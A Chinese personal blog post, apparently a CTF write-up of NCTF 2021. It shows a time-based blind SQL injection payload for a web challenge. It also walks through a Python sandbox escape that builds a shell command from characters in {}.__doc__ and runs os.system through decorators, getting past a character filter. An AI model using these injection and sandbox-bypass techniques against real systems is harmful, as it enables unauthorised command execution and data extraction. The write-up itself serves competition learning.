NCTF,心态裂开

??既然创建了那就写完
这次比赛输出很惨烈,回去再练练吧

本来2人组了个摆烂队准备签个到,中途加进来了zsky师傅说一起摆,然后大佬出了4个re一血贡献了2000分,俺们两个加起来贡献了400分,俺作为web手输出了个签到呜呜呜

复盘
(官方wp)

太废物了

web

ezsql

payload:

1
?username[0]=exp&username[1]=sleep(if(((substr((select(database())),11,1)="f")),10,0))&username[2]=1substr((select(database())),11,1)="f"

脚本:

1

misc

Python沙盒绕过

关键在于学python,而8是学姿势,因为姿势太多了…..

题目的话,是要给1个QQ_bot发送payload以获取flag,因为时隔已久,所以也没保存截图啥的

有个附件,里面是代码,当时心态大崩所以连打开康康的勇气都没了…
事实上这个决定也没戳,看了大佬的wp后,这道题要想有个思路啥的至少得有150点Python精通,像什么__doc__之类的我一个写爬虫的屑辣鸡压根没听过….(虽然如此,但绕过的方法应该8止这一种)

payload

下载附件,是python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import sys
from base64 import b64decode, b64encode

code = sys.argv[1] #即给程序的第一个参数
try:
data = b64decode(code.encode()).decode() #code.encode(): 把code转化为字节码; 然后base64解码,然后再返回去
except: # 若触发异常的解决方案
exit(0) #那就是退出辣

for c in 'h"\'(': # 屏蔽一些字符
if c in data: exit(0)

exec(data) # 执行命令(在python环境下)

思路: 写在理解后
首先,输入字符串,被base64解码,再被屏蔽掉 h “ ‘ \ ( 这些字符,然后进行exec

那么就阔以通过利用差8多exec(“os.system(‘xxx’)”)的形式进行操作, 但是里面的单引号和xxx怎么绕过呢?
阔以通过先构造1个字符串a,然后以exec(“os.system(a)”)的形式操作。但是构造字符串还是需要单引号啊
这里就有8止一种绕过方法了,wp是通过__doc__来绕过单引号,暂时也想不出别的方法能绕过呜呜呜
怎么通过__doc__绕过呢? 阔以看后面的扫盲

然后这个问题也就解决了,就阔以构造payload了
那么就又又问题了,屏蔽了括号,怎么绕过?

然后看的wp里构造payload需要了解 函数装饰器,这个也咩听过,后来学的,在有关python的博客文章里做笔记了,这里就掠过

然后,接下来应该由你自己实现构造了,骚年!!!

可是….构造装饰函数时也需要用到括号啊…….莫非有什么👴8知道的姿势?

payload: 比方我要输入命令ls:

1
2
3
4
5
6
7
8
import os
a={}.__doc__
cmd=a[69] + a[97] # ls
x=lambda _:cmd #匿名函数x返回结果为cmd, 即'ls'
@os.system # 第一层修饰
@x # 第二层修饰
class _: pass #装饰器修饰的对象工具人,至于这里的class是什么意思....8知道了,网上没搜到,可能与类的声明有关(可这明明是函数啊)
# 就相当于: 先执行class=x(class),结果是增加了返回'ls'的语句, 然后是class=os.system(class)

扫盲

doc

是个说明文档,用来帮助py使用者们理解的功能,eg: 略

他还有个功能就是这个:

1
2
3
a={}.__doc__
for i in range(-350,350):
print(a[i])

结果(去掉换行符)是一句话:

1
dictionarydict(mapping)->newdictionaryinitializedfromamappingobject's(key,value)pairsdict(iterable)->newdictionaryinitializedasifvia:d={}fork,viniterable:d[k]=vdict(**kwargs)->newdictionaryinitializedwiththename=valuepairsinthekeywordargumentlist.Forexample:dict(one=1,two=2)dict()->newemptydictionarydict(mapping)->newdictionaryinitializedfromamappingobject's(key,value)pairsdict(iterable)->newdictionaryinitializedasifvia:d={}fork,viniterable:d[k]=vdict(**kwargs)->newdictionaryinitializedwiththename=valuepairsinthekeywordargumentlist.Forexample:

这句话是啥意思8要紧,但是里面有26个英文字母,阔以帮助俺们绕过,eg:

1
2
a={}.__doc__
a[-348]+a[-343]+a[334]+a[336]+a[75]+a[69]+a[-343]+a[42] #就是字符串'cat flag'

NCTF,心态裂开
https://bl4zygao.github.io/2021/11/28/NCTF-心态裂开/
Author
bl4zy
Posted on
November 28, 2021
Licensed under